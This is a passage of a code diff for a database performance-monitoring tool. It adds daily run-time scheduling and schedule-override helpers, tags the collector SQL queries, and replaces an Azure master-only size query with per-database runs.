+    public const string InvalidRunAtMessage = "Run at must be a 24-hour time from 00:00 to 23:59, such as 02:00.";
+
+    private const int MinutesPerDay = 1440;
+
+    /* The room a run-time stamp gets past its interval before the clock-step check reads it as a step: an hour for
+       the spread and an hour for an autumn day that is 25 hours long. The stamps NextDue returns fit in the
+       interval plus the autumn hour; the spread hour is slack, so a stamp on either edge is never misread. */
+    private const int StampSpreadMinutes = SpreadSeconds / 60;
+    private const int StampAutumnHourMinutes = 60;
+
+    /* A last run at the bottom of the calendar is a "never" sentinel, not a date; the date arithmetic below would
+       throw on it. */
+    private static readonly DateTime s_firstRealRun = DateTime.MinValue.AddDays(7);
+
+    /// <summary>The text an editor shows when a run time is set on a collector whose interval is not a whole number
+    /// of days. <paramref name="name"/> is the collector's name and <paramref name="intervalMinutes"/> its interval.</summary>
+    public static string IntervalRefusalMessage(string name, int intervalMinutes) =>
+        string.Create(CultureInfo.InvariantCulture,
+            $"'{name}' runs every {intervalMinutes} minutes. A run time works only for a collector that runs once a day or less often (1440 minutes, or a multiple of 1440). Change the frequency or clear the run time.");
+
+    /// <summary>Whether a collector that runs every <paramref name="intervalMinutes"/> minutes may have a run time:
+    /// only a positive multiple of 1440 (once a day, or less often). A collector that runs on load and then daily
+    /// is judged by its daily interval.</summary>
+    public static bool AllowsRunAt(int intervalMinutes) => intervalMinutes > 0 && intervalMinutes % MinutesPerDay == 0;
+
+    /// <summary>Reads a run time written as 24-hour <c>HH:MM</c> (two digits, a colon, two digits, from 00:00 to
+    /// 23:59) into minutes after midnight. Surrounding spaces are ignored. Anything else, such as <c>24:00</c>,
+    /// <c>2:5</c> or <c>abc</c>, is refused with <paramref name="minuteOfDay"/> set to 0.</summary>
+    public static bool TryParse(string? text, out int minuteOfDay)
+    {
+        minuteOfDay = 0;
+        var span = text.AsSpan().Trim();
+        if (span.Length != 5 || span[2] != ':'
+            || !char.IsAsciiDigit(span[0]) || !char.IsAsciiDigit(span[1])
+            || !char.IsAsciiDigit(span[3]) || !char.IsAsciiDigit(span[4]))
+        {
+            return false;
+        }
+
+        var hour = (span[0] - '0') * 10 + (span[1] - '0');
+        var minute = (span[3] - '0') * 10 + (span[4] - '0');
+        if (hour > 23 || minute > 59)
+        {
+            return false;
+        }
+
+        minuteOfDay = hour * 60 + minute;
+        return true;
+    }
+
+    /// <summary>Writes minutes after midnight (0 to 1439) as 24-hour <c>HH:MM</c>, the form <see cref="TryParse"/>
+    /// reads back.</summary>
+    public static string Format(int minuteOfDay)
+    {
+        ArgumentOutOfRangeException.ThrowIfNegative(minuteOfDay);
+        ArgumentOutOfRangeException.ThrowIfGreaterThanOrEqual(minuteOfDay, MinutesPerDay);
+
+        return string.Create(CultureInfo.InvariantCulture, $"{minuteOfDay / 60:00}:{minuteOfDay % 60:00}");
+    }
+
+    /// <summary>The fixed spread for one server: <see cref="CollectorCadence.CadencePhaseOffset"/> over
+    /// <see cref="SpreadSeconds"/>, so from 0 to just under 60 minutes, the same on every restart because it is a
+    /// pure function of the id.</summary>
+    public static TimeSpan Spread(int serverId) => CollectorCadence.CadencePhaseOffset(serverId, SpreadSeconds);
+
+    /// <summary>The local time is already UTC. The conversion to pass while a server's clock is not known yet.</summary>
+    public static DateTime LocalIsUtc(DateTime local) => local;
+
+    /// <summary>The UTC instant of the slot for <paramref name="localDate"/> on the server's clock: that date at
+    /// <paramref name="runAtMinute"/> (minutes after local midnight, 0 to 1439) plus the server's
+    /// <see cref="Spread"/>, converted by <paramref name="localToUtc"/>. The spread is added to the local time, so
+    /// it moves with the run time across a daylight-saving change. The result is <see cref="DateTimeKind.Utc"/>.</summary>
+    public static DateTime SlotUtc(DateOnly localDate, int runAtMinute, int serverId, Func<DateTime, DateTime> localToUtc)
+    {
+        ArgumentNullException.ThrowIfNull(localToUtc);
+        ArgumentOutOfRangeException.ThrowIfNegative(runAtMinute);
+        ArgumentOutOfRangeException.ThrowIfGreaterThanOrEqual(runAtMinute, MinutesPerDay);
+
+        var local = localDate.ToDateTime(TimeOnly.MinValue).AddMinutes(runAtMinute) + Spread(serverId);
+        return DateTime.SpecifyKind(localToUtc(local), DateTimeKind.Utc);
+    }
+
+    /// <summary>
+    /// The next time a collector with a run time is due, in UTC.
+    ///
+    /// <para>A day is identified by its slot: the date a run belongs to is the latest date whose slot is at or
+    /// before the run. That keeps a slot that spills past local midnight (a late run time plus the spread) with the
+    /// date it was computed for, and it needs only the local-to-UTC conversion, because the candidate dates are the
+    /// few around the UTC date (an offset is never more than 14 hours). A run before the day's slot, such as an
+    /// on-load run in the small hours, counts for the day before, so that day's slot is still owed.</para>
+    ///
+    /// <para>With no <paramref name="lastRunUtc"/> (never run), or one that is long past, the slots are every
+    /// day. With one, they are every <c>intervalMinutes / 1440</c> days from the date of that run, so a two-day
+    /// collector keeps its two-day grid. Of those, the latest slot at or before <paramref name="nowUtc"/> is due
+    /// when <paramref name="nowUtc"/> is still inside its grace: the answer is <paramref name="nowUtc"/> itself, and
+    /// the caller adds its seed jitter. Past the grace that slot is lost, a missed day is skipped, and the answer is
+    /// the next slot. A slot still ahead is the answer as it stands.</para>
+    ///
+    /// <para>After a run, pass the instant of the run (or of the slot it ran for) as
+    /// <paramref name="lastRunUtc"/>: the answer is the slot <c>intervalMinutes / 1440</c> dates on.</para>
+    ///
+    /// <para>Throws <see cref="ArgumentOutOfRangeException"/> for an interval <see cref="AllowsRunAt"/> refuses
+    /// or a <paramref name="runAtMinute"/> outside 0 to 1439.</para>
+    /// </summary>
+    /// <param name="nowUtc">The current instant, UTC.</param>
+    /// <param name="lastRunUtc">When the collector last ran, UTC, or null when it has not.</param>
+    /// <param name="runAtMinute">The run time, in minutes after midnight on the server's clock.</param>
+    /// <param name="intervalMinutes">The collector's interval: a positive multiple of 1440.</param>
+    /// <param name="serverId">The server id the spread is taken from.</param>
+    /// <param name="localToUtc">Server-local time to UTC, such as <c>ServerClock.ToUtc</c>, or <see cref="LocalIsUtc"/>.</param>
+    public static DateTime NextDue(DateTime nowUtc, DateTime? lastRunUtc, int runAtMinute, int intervalMinutes, int serverId,
+        Func<DateTime, DateTime> localToUtc)
+    {
+        ArgumentNullException.ThrowIfNull(localToUtc);
+        if (!AllowsRunAt(intervalMinutes))
+        {
+            throw new ArgumentOutOfRangeException(nameof(intervalMinutes), intervalMinutes,
+                "A run time works only for an interval that is a positive multiple of 1440 minutes.");
+        }
+
+        ArgumentOutOfRangeException.ThrowIfNegative(runAtMinute);
+        ArgumentOutOfRangeException.ThrowIfGreaterThanOrEqual(runAtMinute, MinutesPerDay);
+
+        var days = intervalMinutes / MinutesPerDay;
+        var nowDate = LatestSlotDate(nowUtc, runAtMinute, serverId, localToUtc);
+
+        if (lastRunUtc is not { } lastRun || lastRun <= s_firstRealRun)
+        {
+            var today = SlotUtc(nowDate, runAtMinute, serverId, localToUtc);
+            return nowUtc <= today + Grace ? nowUtc : SlotUtc(nowDate.AddDays(1), runAtMinute, serverId, localToUtc);
+        }
+
+        var lastDate = LatestSlotDate(lastRun, runAtMinute, serverId, localToUtc);
+        var dueDate = lastDate.AddDays(days);
+        if (dueDate > nowDate)
+        {
+            return SlotUtc(dueDate, runAtMinute, serverId, localToUtc);
+        }
+
+        /* The latest slot on the grid at or before now: whole steps of `days` from the last run's date. */
+        var latestDate = lastDate.AddDays((nowDate.DayNumber - lastDate.DayNumber) / days * days);
+        var latest = SlotUtc(latestDate, runAtMinute, serverId, localToUtc);
+        return nowUtc <= latest + Grace ? nowUtc : SlotUtc(latestDate.AddDays(days), runAtMinute, serverId, localToUtc);
+    }
+
+    /// <summary>How far ahead of now a due time from <see cref="NextDue"/> can sit, for the clock-step check
+    /// (<see cref="CollectorCadence.ClampDue"/>): the interval, plus an hour for the spread, plus an hour for a
+    /// 25-hour autumn day. Pass it as the clamp's interval for a collector that has a run time; the plain interval
+    /// would read an ordinary wait as a clock that stepped back and run the collector at once.</summary>
+    public static TimeSpan MaxStampAhead(int intervalMinutes) =>
+        TimeSpan.FromMinutes(intervalMinutes + StampSpreadMinutes + StampAutumnHourMinutes);
+
+    /* The latest local date whose slot is at or before the instant. Slots rise with the date, and an offset from
+       UTC is within 14 hours, so the answer is within the UTC date and the date after it; start two dates back,
+       where the slot is always behind the instant, and step forward while the next date's slot has also passed. */
+    private static DateOnly LatestSlotDate(DateTime utc, int runAtMinute, int serverId, Func<DateTime, DateTime> localToUtc)
+    {
+        var date = DateOnly.FromDateTime(utc).AddDays(-2);
+        for (var step = 0; step < 4; step++)
+        {
+            var following = date.AddDays(1);
+            if (SlotUtc(following, runAtMinute, serverId, localToUtc) > utc)
+            {
+                break;
+            }
+
+            date = following;
+        }
+
+        return date;
+    }
+}
diff --git a/PerformanceMonitor.Collectors/CollectorRuntimePrecondition.cs b/PerformanceMonitor.Collectors/CollectorRuntimePrecondition.cs
index e3524db084..2b4e01aa3c 100644
--- a/PerformanceMonitor.Collectors/CollectorRuntimePrecondition.cs
+++ b/PerformanceMonitor.Collectors/CollectorRuntimePrecondition.cs
@@ -231,10 +231,10 @@ public static bool IsNamedSkip(string? status) =>
     ///
     /// <para>The shared <see cref="PreconditionEpilogue"/> promises "nothing to restart on the monitoring
     /// side", and for these arms that promise is false — a user who satisfies the precondition and retries
-    /// gets the identical answer forever. The <c>SESSION_MISSING</c> arm has always said in its own sentence
-    /// that a dropped session "stays missing until the next connect" and then appended an epilogue denying
-    /// it; the two have contradicted each other in shipped operator-facing text. A blanket claim is the wrong
-    /// shape here, so the claim is now made only by the arms that can honour it.</para>
+    /// gets the identical answer forever. A blanket claim is the wrong shape here, so the claim is made only
+    /// by the arms that can honour it. The <c>SESSION_MISSING</c> arm is not one of these: the app creates a
+    /// missing capture session again within the hour, so that arm says so in its own sentence and ends on
+    /// <see cref="PreconditionEpilogue"/>.</para>
     /// </summary>
     private const string ConnectScopedEpilogue =
         "This is a runtime PRECONDITION, not a permanent engine capability gap and not a collection outage: " +
@@ -284,11 +284,12 @@ public static bool IsNamedSkip(string? status) =>
         {
             return $"{serverName} does not currently have the Extended Events session the {collectorName} " +
                    $"collector reads: its last run{observed} recorded {CaptureSessionMissingStatus}, so " +
-                   $"{CapturePathOf(collectorName)} is not being captured at all.{said} The service creates " +
-                   "its capture sessions when it CONNECTS to a server, so a session dropped or stopped " +
-                   "afterwards stays missing until the next connect — check that the monitoring login holds " +
-                   "ALTER ANY EVENT SESSION, then let the server reconnect. " +
-                   ConnectScopedEpilogue;
+                   $"{CapturePathOf(collectorName)} is not being captured at all.{said} The app creates " +
+                   "its capture sessions when it connects to a server and ensures them again at least once an hour, " +
+                   "so it creates a missing session and starts a stopped one within the hour — if the " +
+                   "session is still missing after that, check that the monitoring login holds " +
+                   "ALTER ANY EVENT SESSION, because the create needs it. " +
+                   PreconditionEpilogue;
         }
 
         if (string.Equals(status, ExtensionMissingStatus, StringComparison.OrdinalIgnoreCase))
diff --git a/PerformanceMonitor.Collectors/CollectorScheduleDefaults.cs b/PerformanceMonitor.Collectors/CollectorScheduleDefaults.cs
index f44c8a10fd..245510c618 100644
--- a/PerformanceMonitor.Collectors/CollectorScheduleDefaults.cs
+++ b/PerformanceMonitor.Collectors/CollectorScheduleDefaults.cs
@@ -74,8 +74,9 @@ database_config snapshot (frequency 0), this feeds the "database offline / unhea
         /* #1496 long-running query completion trace: seeded DISABLED (DefaultEnabled: false). A
            completion trace (rpc_completed/sql_batch_completed) fires per statement/batch even though
            the duration predicate discards most of them, so it is opt-in per fleet; enabling it creates
-           the XE session on the monitored servers and disabling it DROPS the session there. Cadence +
-           retention mirror the sibling XE collectors. */
+           this install's own XE session on the monitored servers (in each monitored database on Azure
+           SQL Database) and disabling it DROPS that session there, unless another registration of this
+           install still keeps it (#4961). Cadence + retention mirror the sibling XE collectors. */
         ["long_query_completions"] = new(1, 30, DefaultEnabled: false),
         ["database_scoped_config"] = new(0, 30),
         /* #2319: hourly, NOT the config family's on-load cadence — actual_state, readonly_reason and
@@ -368,10 +369,10 @@ lacks it. What is resident in the pool is slow-moving enough that an hour is the
         ["pg_buffer_usage"] = new(60, 30),
         /* #2561 index bloat. DAILY and 90 days, matching pg_index_usage_stats deliberately - the two answer
            halves of one question (is this index earning its keep, and is it wasting space doing it) and a
-           read that joins them wants both grains to line up. Daily is also the affordable grain: pgstatindex
-           reads EVERY PAGE of an index, so the cost scales with the fleet's total btree size rather than
-           with anything that changes minute to minute. Bloat accumulates over days, so a finer grain would
-           pay repeatedly for an answer that had not moved. */
+           read that joins them wants both grains to line up. Daily is also all the question needs: since #3234
+           the collector estimates from pg_stats and the catalog and reads no index pages (it no longer calls
+           pgstatindex), so one run is cheap, but bloat accumulates over days and a finer grain would pay
+           repeatedly for an answer that had not moved. */
         ["pg_index_bloat"] = new(1440, 90),
         /* #2719 instance CPU. FIVE MINUTES, deliberately looser than the 1-minute cadence the SQL Server
            ring-buffer route uses for cpu_utilization. That route reads a local DMV for free; this one is an
@@ -415,6 +416,71 @@ minutes is int v
         ? v
         : null;
 
+    /// <summary>
+    /// #4999: picks the override rows that apply to one collector on one server: the row for that server and the
+    /// fleet-wide one (<see cref="IScheduleFrequencyOverride.ServerId"/> null), matched on the collector name without
+    /// regard to case, as the store's schedule table is. A row for another server never applies, and when a level has
+    /// more than one row for the collector the last one wins. This is the ONE place the rows are picked: the worker's
+    /// <c>StoreConfigProvider.ResolveSchedule</c> picks its per-server and fleet rows through it, and so does every
+    /// collection-health surface, so none of them can pick a different row.
+    /// </summary>
+    /// <param name="collectorName">The collector.</param>
+    /// <param name="serverId">The server the cadence is wanted for.</param>
+    /// <param name="overrides">The override rows to pick from, or null for none.</param>
+    public static (T? PerServer, T? Fleet) SelectScheduleOverrides<T>(string collectorName, int serverId, IEnumerable<T>? overrides)
+        where T : class, IScheduleFrequencyOverride
+    {
+        T? perServer = null;
+        T? fleet = null;
+        if (overrides is not null)
+        {
+            foreach (var o in overrides)
+            {
+                if (!string.Equals(o.CollectorName, collectorName, StringComparison.OrdinalIgnoreCase))
+                {
+                    continue;
+                }
+
+                if (o.ServerId == serverId)
+                {
+                    perServer = o;
+                }
+                else if (o.ServerId is null)
+                {
+                    fleet = o;
+                }
+            }
+        }
+
+        return (perServer, fleet);
+    }
+
+    /// <summary>
+    /// #4999: the interval, in minutes, a collector is scheduled at on one server, which is the interval every
+    /// collection-health surface judges it against: the per-server override, else the fleet-wide one, else the shipped
+    /// default (<see cref="ResolveFrequencyMinutes"/>, with an override that cannot be honoured falling through),
+    /// then <see cref="EffectiveRecurringIntervalMinutes"/>, so an on-load collector reads as its daily recapture
+    /// exactly as the worker's dispatch schedules it. Null for a name the catalog does not know, which has no
+    /// shipped interval to fall back to and keeps the classifier's floor thresholds.
+    /// <para>It lives here, in the project the service and the viewer both reference, because the viewer cannot
+    /// reach the service's <c>StoreConfigProvider</c>. The service's own resolution is the same two steps over the same
+    /// picked rows (<see cref="SelectScheduleOverrides{T}"/>, <see cref="ResolveFrequencyMinutes"/>).</para>
+    /// </summary>
+    /// <param name="collectorName">The collector.</param>
+    /// <param name="serverId">The server the cadence is wanted for.</param>
+    /// <param name="overrides">The override rows to resolve from, or null for none.</param>
+    public static int? ResolveEffectiveIntervalMinutes<T>(string collectorName, int serverId, IEnumerable<T>? overrides)
+        where T : class, IScheduleFrequencyOverride
+    {
+        if (!All.ContainsKey(collectorName))
+        {
+            return null;
+        }
+
+        var (perServer, fleet) = SelectScheduleOverrides(collectorName, serverId, overrides);
+        return EffectiveRecurringIntervalMinutes(ResolveFrequencyMinutes(collectorName, perServer?.FrequencyMinutes, fleet?.FrequencyMinutes));
+    }
+
     /// <summary>
     /// #3929/#3930 (Erik, ruled 2026-09-23): an on-load collector (<see cref="ResolveFrequencyMinutes"/> = 0 -
     /// server_config, database_config, database_scoped_config, trace_flags, server_properties) captures on
diff --git a/PerformanceMonitor.Collectors/CpuSchedulerStatsCollector.cs b/PerformanceMonitor.Collectors/CpuSchedulerStatsCollector.cs
index 594df00194..98ef0cbc1b 100644
--- a/PerformanceMonitor.Collectors/CpuSchedulerStatsCollector.cs
+++ b/PerformanceMonitor.Collectors/CpuSchedulerStatsCollector.cs
@@ -81,7 +81,7 @@ exact storage types. Values stored are identical to the Dashboard table. */
     private const string QueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     max_workers_count = osi.max_workers_count,
     scheduler_count = osi.scheduler_count,
     cpu_count = osi.cpu_count,
diff --git a/PerformanceMonitor.Collectors/CpuUtilizationCollector.cs b/PerformanceMonitor.Collectors/CpuUtilizationCollector.cs
index cf539c6a2f..fb4602e50b 100644
--- a/PerformanceMonitor.Collectors/CpuUtilizationCollector.cs
+++ b/PerformanceMonitor.Collectors/CpuUtilizationCollector.cs
@@ -125,7 +125,7 @@ private CpuUtilizationCollector()
     private const string AzureSqlDbQueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT TOP (60)
+SELECT /* PerformanceMonitorLite */ TOP (60)
     sample_time = drs.end_time,
     sqlserver_cpu_utilization = CONVERT(integer, drs.avg_cpu_percent),
     other_process_cpu_utilization = 0,
@@ -138,7 +138,7 @@ drs.end_time DESC
     private const string AzureSqlDbWatermarkedQueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     sample_time = drs.end_time,
     sqlserver_cpu_utilization = CONVERT(integer, drs.avg_cpu_percent),
     other_process_cpu_utilization = 0,
@@ -157,7 +157,7 @@ drs.end_time DESC
     @start_time datetime2(7),
     @is_linux bit = 0;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     @ms_ticks = dosi.ms_ticks,
     @start_time = dosi.sqlserver_start_time
 FROM sys.dm_os_sys_info AS dosi;
@@ -173,10 +173,10 @@ other_process is stored as NULL. sys.dm_os_linux_cpu_stats (2025 CU1+) exposes r
    sp_executesql so SQL 2016 never binds it (@is_linux = 0). */
 IF OBJECT_ID(N'sys.dm_os_host_info', N'V') IS NOT NULL
     EXEC sys.sp_executesql
-        N'SELECT @linux = CASE WHEN hi.host_platform = N''Linux'' THEN 1 ELSE 0 END FROM sys.dm_os_host_info AS hi;',
+        N'SELECT /* PerformanceMonitorLite */ @linux = CASE WHEN hi.host_platform = N''Linux'' THEN 1 ELSE 0 END FROM sys.dm_os_host_info AS hi;',
         N'@linux bit OUTPUT', @linux = @is_linux OUTPUT;
 
-SELECT TOP (60)
+SELECT /* PerformanceMonitorLite */ TOP (60)
     /* MILLISECOND, not SECOND-truncated: dividing by 1000 before DATEADD(SECOND, ...) discards the
        sub-second remainder of the elapsed-ticks offset, and that remainder is different on every poll
        (SYSDATETIME() keeps moving while a given ring-buffer entry's own timestamp does not). Since this
@@ -244,7 +244,7 @@ ORDER BY t.timestamp DESC
    idiom for a per-run fact the rows cannot carry). @start_time is the sqlserver_start_time this batch
    read above; a login without VIEW SERVER STATE fails this batch at its first DMV and never reaches
    this set, so an unknown start time here means the column was NULL, not that the read was refused. */
-SELECT
+SELECT /* PerformanceMonitorLite */
     server_start_time = @start_time,
     server_name = @@SERVERNAME;";
 
diff --git a/PerformanceMonitor.Collectors/DatabaseConfigCollector.cs b/PerformanceMonitor.Collectors/DatabaseConfigCollector.cs
index 9b26d700bf..afa88912dd 100644
--- a/PerformanceMonitor.Collectors/DatabaseConfigCollector.cs
+++ b/PerformanceMonitor.Collectors/DatabaseConfigCollector.cs
@@ -123,7 +123,7 @@ public override CollectorQuery BuildQuery(CollectorContext context)
         var query = $@"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
 {selectColumns}
 FROM sys.databases AS d
 WHERE (d.database_id > 4 OR d.database_id = 2)
diff --git a/PerformanceMonitor.Collectors/DatabaseScopedConfigCollector.cs b/PerformanceMonitor.Collectors/DatabaseScopedConfigCollector.cs
index dce400c3a8..1d5d7751fb 100644
--- a/PerformanceMonitor.Collectors/DatabaseScopedConfigCollector.cs
+++ b/PerformanceMonitor.Collectors/DatabaseScopedConfigCollector.cs
@@ -68,7 +68,7 @@ private DatabaseScopedConfigCollector()
     private const string OnPremDatabaseListQueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     d.name
 FROM sys.databases AS d
 LEFT JOIN sys.dm_hadr_database_replica_states AS drs
@@ -101,7 +101,7 @@ ORDER BY d.name
     /// master and this is what keeps master out of the payload.</para>
     /// </summary>
     private const string PayloadBodyText = @"
-SELECT
+SELECT /* PerformanceMonitorLite */
     configuration_name = dsc.name,
     value = CONVERT(nvarchar(256), dsc.value),
     value_for_secondary = CONVERT(nvarchar(256), dsc.value_for_secondary)
diff --git a/PerformanceMonitor.Collectors/DatabaseSizeStatsCollector.cs b/PerformanceMonitor.Collectors/DatabaseSizeStatsCollector.cs
index 8f9279ee72..dc1e65acc8 100644
--- a/PerformanceMonitor.Collectors/DatabaseSizeStatsCollector.cs
+++ b/PerformanceMonitor.Collectors/DatabaseSizeStatsCollector.cs
@@ -23,13 +23,12 @@ namespace PerformanceMonitor.Collectors;
 /// joins sys.master_files + sys.dm_os_volume_stats (the exclusion filter splices at BOTH the
 /// cursor and outer SELECT — same parameters referenced twice).
 ///
-/// <para>Azure SQL DB takes an entirely database-scoped query on the EXISTING connection: the
-/// connected database's own <c>sys.database_files</c> and <c>FILEPROPERTY(SpaceUsed)</c>, which MS
-/// Learn documents as the canonical way to read file space on that platform and which need only the
-/// <c>public</c> role. Nothing on that path reads <c>master</c>, <c>sys.master_files</c> (not
-/// documented for Azure SQL DB at all) or <c>sys.dm_os_volume_stats</c> (SQL Server only) — see
-/// <see cref="RunsPerDatabase"/> for why the enumeration that used to precede it was the actual
-/// bug.</para>
+/// <para>Azure SQL DB takes an entirely database-scoped query, run once per database (#5498,
+/// <see cref="RunsPerDatabase"/>): the connected database's own <c>sys.database_files</c> and
+/// <c>FILEPROPERTY(SpaceUsed)</c>, which MS Learn documents as the canonical way to read file space on that
+/// platform and which need only the <c>public</c> role. Nothing on that path reads <c>master</c>,
+/// <c>sys.master_files</c> (not documented for Azure SQL DB at all) or <c>sys.dm_os_volume_stats</c> (SQL
+/// Server only).</para>
 ///
 /// <para>Deliberately NOT <c>sys.dm_db_file_space_usage</c>, which looks like the natural Azure
 /// choice: on Basic/S0/S1 service objectives AND on any database in an elastic pool it requires
@@ -47,7 +46,7 @@ private DatabaseSizeStatsCollector()
 
     /// <summary>
     /// <c>DatabaseId</c>, <c>FileId</c> and <c>PhysicalName</c> are nullable because the Azure
-    /// sibling arm (#2643) deliberately emits them as NULL: <c>sys.resource_stats</c> has no
+    /// sibling arm (#2643, removed by #5498; stored rows keep the shape) deliberately emitted them as NULL: <c>sys.resource_stats</c> has no
     /// per-file breakdown, so a sibling row carries a database name and a total size and honestly
     /// nothing else. Both stores hold the columns nullable (#3262).
     ///
@@ -123,7 +122,7 @@ ORDER BY
     BEGIN TRY
         SET @sql = N'EXECUTE ' + QUOTENAME(@db_name) + N'.sys.sp_executesql N''
 INSERT #file_space (database_id, file_id, used_size_mb, current_size_mb)
-SELECT
+SELECT /* PerformanceMonitorLite */
     DB_ID(),
     df.file_id,
     CONVERT(decimal(19,2), FILEPROPERTY(df.name, N''''SpaceUsed'''') * 8.0 / 1024.0),
@@ -147,7 +146,7 @@ INSERT @probe_failures (name, error_text)
 CLOSE db_cursor;
 DEALLOCATE db_cursor;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     database_name = d.name,
     database_id = d.database_id,
     file_id = mf.file_id,
@@ -211,32 +210,21 @@ ORDER BY
 /* Trailing result set = the payload path's probe-failure contract (#1851,
    EnumeratedCollectorDriver.ReadPayloadProbeFailuresAsync). Always returned, normally empty; the host
    reads zero rows and attaches no note. */
-SELECT
+SELECT /* PerformanceMonitorLite */
     name,
     error_text
 FROM @probe_failures
 ORDER BY
     name;";
 
-    /* #2643: TWO sources, and the second one cannot be referenced unless it exists.
+    /* sys.database_files is database-scoped, so this query reports the CONNECTED database and nothing else.
+       That is by design since #5498: the host runs it once per database (RunsPerDatabase), so every database
+       on an Azure logical server reports its own real files. Before, a master-only sys.resource_stats arm
+       tried to report the siblings from the one master connection (#2643), but that view lags database
+       creation by about an hour and carries no per-file breakdown; see the note above the final SELECT.
 
-       sys.database_files is database-scoped, so on Azure SQL DB this collector reported the connected
-       database and nothing else. Correct, and indistinguishable from a collector that found only master:
-       a reporter with fifty databases pointed the Viewer at master, saw master's two files, and filed it.
-
-       sys.resource_stats is a MASTER-ONLY view carrying storage_in_megabytes per database with roughly
-       fourteen days of history. Verified against a live Azure SQL Database rather than taken from
-       documentation - so the sizes ARE reachable from one connection, and only the per-FILE breakdown is
-       not. That shows in the projection: file_id NULL and a file_name that says so, never a fabricated
-       file.
-
-       The second arm runs through sp_executesql, and that is not stylistic. sys.resource_stats does not
-       EXIST in a user database, and name resolution happens at PARSE time - so a plain UNION guarded by
-       WHERE DB_NAME() = N'master' still fails with 208 on every user database, which is the common case.
-       Measured: it did, immediately, the first time this was run from somewhere other than master.
-
-       A table variable rather than two branches each repeating the file SELECT: the file rows are
-       collected identically either way, and duplicating that projection is how the two copies drift. */
+       A table variable rather than a bare SELECT so the final projection stays the single place that fixes
+       the payload's column order. */
     private const string AzureSqlDbQueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
@@ -285,7 +273,7 @@ vlf_count integer NULL
 
 INSERT
     @database_sizes
-SELECT
+SELECT /* PerformanceMonitorLite */
     database_name = DB_NAME(),
     database_id = DB_ID(),
     file_id = df.file_id,
@@ -360,58 +348,14 @@ ELSE CONVERT(bit, 0)
             END
 ) AS ls;
 
-/* The sibling databases, on the one connection that can see them. Newest sample per database: the older
-   ones are a growth series worth having later, and taking them all would multiply every database by the
-   retention window. The connected database is excluded because the arm above already reported it with
-   real files.
-
-   Each sibling is one row, in the same terms as the file rows above: total_size_mb is the ALLOCATED size
-   and used_size_mb is the space USED. Both come from the master-only view read below, whose two columns
-   Microsoft Learn describes this way:
-     allocated_storage_in_megabytes: 'The amount of formatted file space in MB made available for storing
-       database data. Formatted file space is also referred to as data space allocated.'
-     storage_in_megabytes: 'Maximum storage size in megabytes for the time period, including database data,
-       indexes, stored procedures, and metadata.'
-   The row used to store storage_in_megabytes as its total. That put a database's USED space where every
-   other row has the allocated size: 119 MB beside 10,240 MB for a Hyperscale database. Neither column
-   mentions the transaction log, so the row is data space only and its log size is not known. There is no
-   log row for a sibling, and the readers say so (AzureSiblingDatabaseSize.LogNote).
-
-   The newest sample where BOTH columns are filled: a sample with only one of them would give a size
-   without a used space, or the reverse. Both filters sit in the WHERE of the SELECT that ranks, so they
-   apply before the ranking. The file name is the one AzureSiblingDatabaseSize owns: the growth reads use
-   it to leave out the rows stored before this mapping, which hold the used space as their total. */
-IF DB_NAME() = N'master'
-BEGIN
-    INSERT
-        @database_sizes
-    (
-        database_name, file_type_desc, file_name, total_size_mb, used_size_mb, state_desc
-    )
-    EXEC sys.sp_executesql N'
-SELECT
-    rs.database_name,
-    file_type_desc = N''ROWS'',
-    file_name = N''" + AzureSiblingDatabaseSize.FileName + @"'',
-    total_size_mb = CONVERT(decimal(19,2), rs.allocated_storage_in_megabytes),
-    used_size_mb = CONVERT(decimal(19,2), rs.storage_in_megabytes),
-    state_desc = N''ONLINE''
-FROM
-(
-    SELECT
-        r.database_name,
-        r.storage_in_megabytes,
-        r.allocated_storage_in_megabytes,
-        rn = ROW_NUMBER() OVER (PARTITION BY r.database_name ORDER BY r.end_time DESC)
-    FROM sys.resource_stats AS r
-    WHERE r.database_name <> DB_NAME()
-    AND   r.storage_in_megabytes IS NOT NULL
-    AND   r.allocated_storage_in_megabytes IS NOT NULL
-) AS rs
-WHERE rs.rn = 1;';
-END;
+/* #5498: no sibling arm. Siblings used to be read here from master's resource-stats view, but that view
+   ingests a new database only about an hour after it is created (#3262), and the collector runs rarely, so
+   a fresh logical server stored master's two files and nothing else (the 3.10 release test: 45 minutes,
+   two user databases, master only). The host now connects to EACH database (RunsPerDatabase) and every
+   database reports its own real files, so the master-only view is not read at all: reading it beside the
+   per-database runs would store every database twice. */
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     ds.database_name,
     ds.database_id,
     ds.file_id,
@@ -433,7 +377,6 @@ AND   r.allocated_storage_in_megabytes IS NOT NULL
     ds.vlf_count
 FROM @database_sizes AS ds
 ORDER BY
-    CASE WHEN ds.file_id IS NULL THEN 1 ELSE 0 END,
     ds.database_name,
     ds.file_id
 OPTION(RECOMPILE);";
@@ -443,21 +386,20 @@ ORDER BY
     public override string TargetTable => "database_size_stats";
 
     /// <summary>
-    /// Never per-database. On Azure SQL DB this used to be true, which made the host ENUMERATE
-    /// databases first — and that enumeration connects to <c>master</c>, which is the one database an
-    /// Azure login reaching the server through a DATABASE-level firewall rule cannot open (#1631,
-    /// TrudAX's error 40615). The enumeration bought nothing here: the query below is entirely
-    /// database-scoped (<c>sys.database_files</c> + <c>FILEPROPERTY</c>, both satisfied by the
-    /// <c>public</c> role), the connection already points at the database being monitored, and on Azure
-    /// SQL DB a contained user can only see its own database anyway — so the sibling databases the
-    /// enumeration went to <c>master</c> to discover were never readable from this connection.
+    /// Per-database on Azure SQL DB (#5498), the same gate database_scoped_config, index_object_stats and
+    /// query_store use. The query is database-scoped, so one connection to master reported master's two files
+    /// and nothing else: the siblings came from master's <c>sys.resource_stats</c>, which ingests a new
+    /// database only about an hour after it exists (#3262), so a fresh logical server stored master alone (the
+    /// 3.10 Azure release test). Connecting to each database reports every database's real files at once.
+    ///
